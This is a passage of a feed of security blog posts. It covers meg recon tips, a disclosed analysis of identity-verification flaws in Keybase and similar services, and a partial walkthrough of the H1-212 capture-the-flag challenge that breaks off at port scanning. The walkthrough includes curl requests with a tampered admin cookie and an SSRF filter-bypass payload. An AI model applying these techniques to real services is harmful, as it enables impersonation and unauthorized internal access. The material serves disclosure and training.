&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;meg &lt;span class="nt"&gt;-s&lt;/span&gt; 200 &lt;span class="se"&gt;\&lt;/span&gt;
  lists/php targets-all &lt;span class="se"&gt;\&lt;/span&gt;
  out-php/ 2&amp;gt; /dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Once the command above has finished running, all it takes is navigating through the &lt;code&gt;out-php/&lt;/code&gt; directory to find saved responses. You can start by manually grepping for specific strings — make sure to automate part of this process in Bash with &lt;code&gt;grep&lt;/code&gt; and arrays — or you can use a neat little trick that Tom showed me.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; ~/bin/vimprev 
&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;
&lt;span class="nv"&gt;VIMENV&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;prev vim &lt;span class="nv"&gt;$@&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;You guessed it — vim preview windows! For each file in the output directory, we can preview it inside of vim. All the "exiting vim" jokes aside, this is a brilliant idea and I cannot thank Tom enough for it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cat&lt;/span&gt; /path/to/vimrc
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nv"&gt;$VIMENV&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;'prev'&lt;/span&gt;
 noremap &amp;lt;Space&amp;gt; :n&amp;lt;CR&amp;gt;
 noremap &amp;lt;Backspace&amp;gt; :N&amp;lt;CR&amp;gt;
endif
&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;export &lt;/span&gt;&lt;span class="nv"&gt;PATH&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nv"&gt;$PATH&lt;/span&gt;:~/bin
&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cd &lt;/span&gt;out/
&lt;span class="nv"&gt;$ &lt;/span&gt;vimprev &lt;span class="si"&gt;$(&lt;/span&gt;find &lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="nt"&gt;-type&lt;/span&gt; f&lt;span class="si"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;vimrc&lt;/code&gt; trick allows you to use the spacebar to move to the next file and the backspace key to the previous one. Hold that spacebar down and go wild! Interesting-looking files should jump out fairly quickly.&lt;/p&gt;

&lt;h2&gt;
  
  
  Live Preview
&lt;/h2&gt;

&lt;p&gt;If you want a live preview of saved files in the output directory, all you need to do is follow the &lt;code&gt;index&lt;/code&gt; file in the output directory the same way you might follow your logs on a web server.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;cd &lt;/span&gt;out/
&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;tail&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; index
out/example.com/2d676fb9c99611db7e6cb75ffa1b137673f4ca04 http://example.com/.well-known/security.txt &lt;span class="o"&gt;(&lt;/span&gt;200 OK&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Time To Experiment
&lt;/h2&gt;

&lt;p&gt;I am going to cut this write-up short and encourage readers to watch Tom's talk "&lt;a href="https://www.youtube.com/watch?v=DvS_ew77GXA"&gt;Passive-ish Recon Techniques&lt;/a&gt;". All the techniques described in this talk can be automated using meg and as Tom demonstrates they can be extremely rewarding.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.youtube.com/watch?v=DvS_ew77GXA"&gt;&lt;img src="https://camo.githubusercontent.com/3f670af500cc9a21e933da1395a3f42cae182753/68747470733a2f2f692e7974696d672e636f6d2f76692f4476535f657737374758412f6d617872657364656661756c742e6a7067" alt=""&gt;&lt;/a&gt;&lt;/p&gt;

</description>
      <category>security</category>
    </item>
    <item>
      <title>An analysis of logic flaws in web-of-trust services</title>
      <dc:creator>EdOverflow 🐸</dc:creator>
      <pubDate>Wed, 14 Mar 2018 17:31:43 +0000</pubDate>
      <link>https://forem.com/edoverflow/an-analysis-of-logic-flaws-in-web-of-trust-services--3bhj</link>
      <guid>https://forem.com/edoverflow/an-analysis-of-logic-flaws-in-web-of-trust-services--3bhj</guid>
      <description>&lt;h1&gt;
  
  
  Abstract
&lt;/h1&gt;

&lt;p&gt;Web-of-trust services (WOT) such as Keybase, Onename, and Blockstack promise to verify individuals' identities on the web. Since many applications on the web are not consistent this often leads to unintended behaviour and therefore security vulnerabilities in web-of-trust services. This write-up analyses three attack vectors that I stumbled across while conducting research on the security of WOT services.&lt;/p&gt;

&lt;h1&gt;
  
  
  The Technology Behind WOT Services
&lt;/h1&gt;

&lt;p&gt;WOT services allow users to create tokens and place them on their personal pages (e.g. GitHub profile). The service will then look for the token using a scraper and if the token is valid, display that the user does in fact own that external page. The idea behind this method is so that users can display what pages on the web belong to them and then tie their WOT account to all of those external services. On top of that, since the verification tokens need to be publicly accessible, other users can verify that the proof is legitimate by visiting the page containing the token.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2Fvtx1z51ecgqzj69rs77g.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fthepracticaldev.s3.amazonaws.com%2Fi%2Fvtx1z51ecgqzj69rs77g.png"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;center&gt;*User [TomNomNom](https://keybase.io/tomnomnom) cryptographically verifying their online identity on Keybase.*&lt;/center&gt;

&lt;h1&gt;
  
  
  Attack Vector One — Distribution Of Content On Timelines
&lt;/h1&gt;

&lt;p&gt;On the web a lot of profile-based applications allow redistribution of content by sharing someone else's entry on your personal timeline — on Twitter users can &lt;em&gt;retweet&lt;/em&gt; content and on GitHub people can &lt;em&gt;fork&lt;/em&gt; projects. Since some WOT services use a public entry or post to verify the user's identity, I asked myself whether it would be possible to claim ownership of someone else's account by having them share a token that was posted onto an attacker's timeline. One particular service stood out for me, GitHub, where WOT applications such as Keybase require users to place the verification token into a GitHub gist file. The interesting behaviour that I noticed with GitHub is that when a user forks a gist, the gist is not only displayed on the user's timeline, it replaces the original author's username with the sharer's username.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F36165627-1901716e-10e8-11e8-9def-a3349954851a.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F36165627-1901716e-10e8-11e8-9def-a3349954851a.png"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;center&gt;*A forked GitHub gist — the original author is EdOverflow and the gist was forked by bayotop.*&lt;/center&gt;

&lt;p&gt;One vulnerable service was Keybase, where if an attacker could convince a victim to fork their GitHub gist, the attacker would be able to claim ownership of the victim's GitHub username. On top of that, Keybase allowed modification of the verification snippet, allowing an attacker to hide the token in an HTML comment. &lt;/p&gt;

&lt;p&gt;An example attack using this technique against Keybase could have unfolded as follows:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;The &lt;strong&gt;attacker&lt;/strong&gt; requests a verification token from &lt;strong&gt;Keybase&lt;/strong&gt; for the &lt;strong&gt;victim's&lt;/strong&gt; GitHub username;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Keybase&lt;/strong&gt; prompts the &lt;strong&gt;attacker&lt;/strong&gt; to place the verification token in a &lt;em&gt;keybase.md&lt;/em&gt; gist;&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;attacker&lt;/strong&gt; creates a &lt;em&gt;keybase.md&lt;/em&gt; gist hiding the verification token in an HTML comment;&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;victim&lt;/strong&gt; forks the &lt;strong&gt;attacker's&lt;/strong&gt; GitHub gist;&lt;/li&gt;
&lt;li&gt;The &lt;strong&gt;attacker&lt;/strong&gt; instructs &lt;strong&gt;Keybase&lt;/strong&gt; to verify /&lt;strong&gt;victim&lt;/strong&gt;/keybase.md.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;As a result, the attacker's Keybase account states that they own the victim's account. To make matters worse, Keybase has a &lt;a href="https://keybase.io/docs/extension" rel="noopener noreferrer"&gt;browser extension&lt;/a&gt; that allows users to browse to certain applications (e.g. GitHub, Twitter, Hacker News, etc.) and message the user on Keybase via the profile page — the extension adds a little messaging window on the user's profile. Messages are sent to the account on Keybase that has verified ownership of the account. This means the extension will trick the user into thinking they are messaging the intended recipient, but all messages land in the attacker's inbox since they control the victim's username.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F36165628-1921e5ac-10e8-11e8-9fc5-e3ac95e98d1e.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F36165628-1921e5ac-10e8-11e8-9fc5-e3ac95e98d1e.png"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;center&gt;*Hijacked GitHub username (@jackds1986) viewed in the Keybase browser extension. All messages are sent to a user called "totallynotjackds" on Keybase.*&lt;/center&gt;

&lt;p&gt;&lt;a href="https://blockstack.org/" rel="noopener noreferrer"&gt;Blockstack&lt;/a&gt; and &lt;a href="https://fireblock.io/" rel="noopener noreferrer"&gt;fireblock.io&lt;/a&gt; were also vulnerable to this attack vector. In most cases, the fix consisted of simply verifying whether the GitHub gist was a fork using GitHub's gist API.&lt;/p&gt;

&lt;h1&gt;
  
  
  Attack Vector Two — Namespace attacks
&lt;/h1&gt;

&lt;p&gt;Some WoT services require placing the verification token in a specific filename. Keybase, for example, as mentioned in the previous section, require GitHub verification tokens to be placed in GitHub gists called &lt;em&gt;keybase.md&lt;/em&gt;. On web assets, Keybase require the file to be named &lt;em&gt;keybase.txt&lt;/em&gt; and either placed under the top-level directory or the &lt;code&gt;.well-known&lt;/code&gt; path. The reason behind the &lt;code&gt;.well-known&lt;/code&gt; proposal in &lt;a href="https://tools.ietf.org/html/rfc5785" rel="noopener noreferrer"&gt;RFC5785&lt;/a&gt;, is to prevent filename collisions and clogging up the root directory. The former is particularly interesting when it comes to WOT services since if an attacker can control the filename on a website, they could potentially claim ownership of the domain. One such case happened with liberapay.com and Keybase. Liberapay, an open-source donation platform, did not restrict username's containing dots in them; therefore one could create usernames containing file extensions. This became apparent to me when I set up a profile page for the security.txt project (&lt;a href="https://liberapay.com/security.txt" rel="noopener noreferrer"&gt;https://liberapay.com/security.txt&lt;/a&gt;). I created a user called &lt;em&gt;keybase.txt&lt;/em&gt; and embedded the Keybase verification snippet in the profile's description. This allowed me to claim ownership of liberapay.com. Keybase did not verify the content type of the keybase.txt file and did not even ensure that the token is not embedded into a page.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F35120564-d26274aa-fc98-11e7-884f-b972fdc44efe.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F35120564-d26274aa-fc98-11e7-884f-b972fdc44efe.png"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;center&gt;*Claiming ownership of liberapay.com by creating a user called "keybase.txt" and embedding the verification snippet into the profile's description.*&lt;/center&gt;

&lt;h1&gt;
  
  
  Attack Vector Three — Redirects
&lt;/h1&gt;

&lt;p&gt;After claiming ownership of liberapay*&lt;em&gt;.com&lt;/em&gt;* I noticed that liberapay*&lt;em&gt;.org&lt;/em&gt;* redirects to liberapay*&lt;em&gt;.com&lt;/em&gt;&lt;em&gt;. This next attack consisted of using a verification token generated for liberapay&lt;/em&gt;&lt;em&gt;.org&lt;/em&gt;* embedded on liberapay*&lt;em&gt;.com&lt;/em&gt;* to claim ownership of liberapay*&lt;em&gt;.org&lt;/em&gt;&lt;em&gt;. Keybase's scraper would blindly follow the redirect and not validate the final endpoint to make sure it matches the target host. Keybase would request liberapay&lt;/em&gt;&lt;em&gt;.org&lt;/em&gt;&lt;em&gt;/keybase.txt which redirects to liberapay&lt;/em&gt;&lt;em&gt;.com&lt;/em&gt;*/keybase.txt where a valid keybase.txt file is located.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F36167048-659b30b0-10ec-11e8-8dbb-14b97337020a.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fuser-images.githubusercontent.com%2F18099289%2F36167048-659b30b0-10ec-11e8-8dbb-14b97337020a.png"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;center&gt;*Claiming ownership of liberapay.org via liberapay.com's keybase.txt file.*&lt;/center&gt;

&lt;p&gt;One particular plausible attack scenario that I could come up with was claiming branded URL-shorteners using this technique.&lt;/p&gt;

&lt;h1&gt;
  
  
  Conclusion
&lt;/h1&gt;

&lt;p&gt;All services affected by these attack vectors were notified and promptly resolved most of the reported issues. Keybase remain vulnerable to attack vectors 2 and 3 — as far as I can tell they do not plan on resolving those issues. I was thoroughly impressed by the response times of all the affected parties and I look forward to working with them again in the future. As a result of this research, I have become addicted to finding logic flaws.&lt;/p&gt;

</description>
      <category>security</category>
    </item>
    <item>
      <title>Operation FGTNY 🗽 - Solving the H1-212 CTF.</title>
      <dc:creator>EdOverflow 🐸</dc:creator>
      <pubDate>Sun, 19 Nov 2017 00:00:00 +0000</pubDate>
      <link>https://forem.com/edoverflow/operation-fgtny----solving-the-h1-212-ctf--5f33</link>
      <guid>https://forem.com/edoverflow/operation-fgtny----solving-the-h1-212-ctf--5f33</guid>
      <description>&lt;h2&gt;
  
  
  Preliminary
&lt;/h2&gt;

&lt;p&gt;Enter exhibit one: An experienced engineer working for one of the biggest corporations in the world.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--TGpSzdu5--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://user-images.githubusercontent.com/18099289/32990101-a8d382e0-cd23-11e7-8b9f-d4fbcf8825c4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--TGpSzdu5--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://user-images.githubusercontent.com/18099289/32990101-a8d382e0-cd23-11e7-8b9f-d4fbcf8825c4.png" alt="" title="Photograph by USA Network/NBCU - © 2017 USA Network Media, LLC"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This engineer had set up a server and claimed that nobody could hack their way into it.&lt;/p&gt;

&lt;p&gt;Enter exhibit two: An inexperienced kid celebrating their birthday, me (EdOverflow).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://camo.githubusercontent.com/9526164484cd3b590119156eb5ce51852eb735a2/68747470733a2f2f692e67697068792e636f6d2f6d656469612f313044386a3245704e43584441342f3230302e676966" class="article-body-image-wrapper"&gt;&lt;img src="https://camo.githubusercontent.com/9526164484cd3b590119156eb5ce51852eb735a2/68747470733a2f2f692e67697068792e636f6d2f6d656469612f313044386a3245704e43584441342f3230302e676966" alt=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Queue &lt;a href="https://www.youtube.com/watch?v=pER7P06MNrg"&gt;dramatic music&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 1 - The Classic Jobert Challenge
&lt;/h2&gt;

&lt;p&gt;Going into this CTF I knew that Jobert would use the same little trick again as in &lt;a href="https://edoverflow.com/2017/ctf-reversing-the-passwords/"&gt;his previous CTF&lt;/a&gt;. Always read the challenge description very carefully and look for keywords. “acme.org”, “Apache” and “admin panel” stood out for me immediately. During my reconnaissance process which did not require any brute forcing as &lt;a href="https://twitter.com/jobertabma/status/930273559946989569"&gt;HackerOne had made very clear&lt;/a&gt;, I used Jobert Abma’s &lt;a href="https://github.com/jobertabma/virtual-host-discovery"&gt;virtual host discovery tool&lt;/a&gt;. This is when I discovered that the admin panel was located at the admin.acme.org virtual host. In order to access the panel, we were required to set the admin.acme.org address to the given IP &lt;code&gt;104.236.20.43&lt;/code&gt; in our &lt;code&gt;/etc/hosts&lt;/code&gt; file.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ cat h1-212 
apache.%s
admin.%s
engineer.%s
hackerone.%s
$ ruby scan.rb --ip=104.236.20.43 --host=acme.org --wordlist=h1-212 
...
Found: admin.acme.org (200)
  date:
    Sun, 19 Nov 2017 12:00:05 GMT
  server:
    Apache/2.4.18 (Ubuntu)
  set-cookie:
    admin=no # 😱
  content-type:
    text/html; charset=UTF-8
...
$ sudo sh -c "echo '104.236.20.43 admin.acme.org' &amp;gt;&amp;gt; /etc/hosts"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--4kYFAJNH--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://user-images.githubusercontent.com/18099289/32788392-6244361c-c959-11e7-8044-ab5323b9bd23.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--4kYFAJNH--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://user-images.githubusercontent.com/18099289/32788392-6244361c-c959-11e7-8044-ab5323b9bd23.png" alt="image"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--rQMgzmkm--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://user-images.githubusercontent.com/18099289/32788339-402f41a2-c959-11e7-8ecc-c374401caccc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--rQMgzmkm--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://user-images.githubusercontent.com/18099289/32788339-402f41a2-c959-11e7-8ecc-c374401caccc.png" alt="" title="Photograph by FXX - © 2017 FX Networks, LLC"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I noticed from other participants’ comments that they were struggling with this first step. The issue appeared to be that they were overly focused on the “Apache” aspect of the page. This is also the reason why HackerOne had to remind people not to brute force their way into the next step. The challenge really had nothing to do with directory bruteforcing. ¯_(ツ)_/¯&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 2 - Teapot 🍵
&lt;/h2&gt;

&lt;p&gt;Next I ran &lt;a href="https://github.com/maurosoria/dirsearch"&gt;dirsearch&lt;/a&gt; with a lightweight wordlist against admin.acme.org. The tool discovered an &lt;code&gt;index.php&lt;/code&gt; file and a login path underneath (&lt;code&gt;index.php/login&lt;/code&gt;). Immededly one thing stood out to me, the &lt;code&gt;admin&lt;/code&gt; cookie was set to &lt;code&gt;no&lt;/code&gt;. When modifying that value to &lt;code&gt;yes&lt;/code&gt; and changing the request method to &lt;code&gt;POST&lt;/code&gt;, a &lt;code&gt;406 Not Acceptable&lt;/code&gt; status code was returned.&lt;/p&gt;

&lt;p&gt;Due to legal reasons, I shall not list my technique for figuring out what that status code means, but let’s just say I used a highly advanced Google Dork (&lt;code&gt;site:hackerone.com 406 Not Acceptable&lt;/code&gt;) in order to find &lt;a href="https://hackerone.com/reports/50658"&gt;this report&lt;/a&gt;, which indicated that the request had to be in JSON (&lt;code&gt;Content-Type: application/json&lt;/code&gt;). You didn’t hear me say any of that.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--vr-3m9Nf--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://user-images.githubusercontent.com/18099289/32990226-15a65864-cd26-11e7-86e4-58ae264d870d.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--vr-3m9Nf--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://user-images.githubusercontent.com/18099289/32990226-15a65864-cd26-11e7-86e4-58ae264d870d.png" alt=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;So there I was, after using highly-advanced techniques, I was left with a newly modified request that enabled me to send requests to the server.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ curl 'http://admin.acme.org/index.php/login' -H 'Host: admin.acme.org' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Cookie: admin=yes' -H 'DNT: 1' -H 'Content-Type: application/json' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--55-OoAk7--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://user-images.githubusercontent.com/18099289/32786849-548f213e-c955-11e7-9ea0-020afcf24c44.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--55-OoAk7--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://user-images.githubusercontent.com/18099289/32786849-548f213e-c955-11e7-9ea0-020afcf24c44.png" alt="" title="© 2017 Lipton/Disney"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Maybe it makes sense to the reader now why Ben was teasing us.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--FAuNeBOe--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://user-images.githubusercontent.com/18099289/32835727-8a00a4c0-ca07-11e7-892a-4914dc9067e6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--FAuNeBOe--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://user-images.githubusercontent.com/18099289/32835727-8a00a4c0-ca07-11e7-892a-4914dc9067e6.png" alt=""&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 3 - Server-Side Request Forgery
&lt;/h2&gt;

&lt;p&gt;Submitting the POST request from the previous section returned a domain missing error, which indicated that the request body had to contain some JSON with a domain attribute and value (&lt;code&gt;{"domain":"hackerone.com"}&lt;/code&gt;).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--sZ3jUA7J--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://user-images.githubusercontent.com/18099289/32963072-12275c7c-cbcf-11e7-9631-ba656c6266e0.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--sZ3jUA7J--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://user-images.githubusercontent.com/18099289/32963072-12275c7c-cbcf-11e7-9631-ba656c6266e0.png" alt="image"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This means that the current issue we are trying to exploit is Server-Side Request Forgery (SSRF); our goal is to retrieve internal files and the flag is probably located on the internal network.&lt;/p&gt;

&lt;h2&gt;
  
  
  Step 4 - Part 1 - Initial Ideas 💡
&lt;/h2&gt;

&lt;p&gt;The errors that I was receiving when specifying a hostname in &lt;code&gt;{"domain":""}&lt;/code&gt; indicated that in order to achieve my goal of accessing internal files, I would need to somehow bypass a filter. My initial idea was to set up a domain ending in .com, due to the &lt;code&gt;{"error":{"domain":"incorrect value, .com domain expected"}}&lt;/code&gt; error message, and map it to a loopback address.&lt;/p&gt;

&lt;h2&gt;
  
  
  Intermission - Bedtime 🛏
&lt;/h2&gt;

&lt;p&gt;It was already getting late at this stage and I decided to go get some sleep in order to prepare for the next 4 steps. Lying in bed I could not keep the CTF challenges out of my mind. Jobert’s laugh echoed in the background as every step I took looped before my eyes.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;This is totally &lt;a href="https://twitter.com/jobertabma?ref_src=twsrc%5Etfw"&gt;@jobertabma&lt;/a&gt; and &lt;a href="https://twitter.com/NahamSec?ref_src=twsrc%5Etfw"&gt;@NahamSec&lt;/a&gt; watching the &lt;a href="https://twitter.com/hashtag/h1212ctf?src=hash&amp;amp;ref_src=twsrc%5Etfw"&gt;#h1212ctf&lt;/a&gt; action unfold. I think they’re enjoying this too much lol.&lt;/p&gt;

&lt;p&gt;— Luke Tucker (@luketucker) &lt;a href="https://twitter.com/luketucker/status/930223468099936257?ref_src=twsrc%5Etfw"&gt;November 13, 2017&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Step 4 - Part 2 - The Bypass
&lt;/h2&gt;

&lt;p&gt;After getting some rest, I woke up the next morning excited to get right back on track. This time the main focus was Orange Tsai’s research. “There has to be some way to bypass the filter with an &lt;code&gt;@&lt;/code&gt; character.”, I thought to myself. The reason why it took me so long to bypass the filter was because I was appending the destination rather than prefixing it (e.g., &lt;code&gt;212.hackerone.com@127.0.0.1&lt;/code&gt;). Since the suffix did not end with a .com the “.com domain expected” error was returned. &lt;code&gt;#&lt;/code&gt;, &lt;code&gt;?&lt;/code&gt;, and &lt;code&gt;&amp;amp;&lt;/code&gt; characters were all blacklisted. Therefore there had to be a way of bypassing the blacklist and include a .com in the suffix. As I hinted towards above, the trick was to prefix the destination as follows: &lt;code&gt;localhost@212.hackerone.com&lt;/code&gt;. By sending a request containing this payload the server would respond with a &lt;code&gt;read.php&lt;/code&gt; identifier which contained base64-encoded data of the content from the page being retrieved.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ curl 'http://admin.acme.org/index.php/login' -H 'Host: admin.acme.org' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Cookie: admin=yes' -H 'DNT: 1' -H 'Content-Type: application/json' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0' --data-binary $'{\"domain\":\"localhost@212.hackerone.com\"}'

{"next":"\/read.php?id=1"}

$ curl 'http://admin.acme.org/read.php?id=1' -H 'Host: admin.acme.org' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0' -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'Cookie: admin=yes' -H 'DNT: 1' -H 'Content-Type: application/json' -H 'Connection: keep-alive' -H 'Upgrade-Insecure-Requests: 1' -H 'Cache-Control: max-age=0'

{"data":""} # Blank, because the file being requested is empty.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step 5 - Port Scanning
&lt;/h2&gt;

&lt;p&gt;This step required two little bash scripts, one to request each individual port and another to retrieve the ID's contents. Port 1337 returned an unusual 404 response and as the number indicates, Jobert was having a laugh.&lt;/p&gt;

&lt;p&gt;Forget the port scanning bit. I totally guessed the port was 1337 and moved on to the next step.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
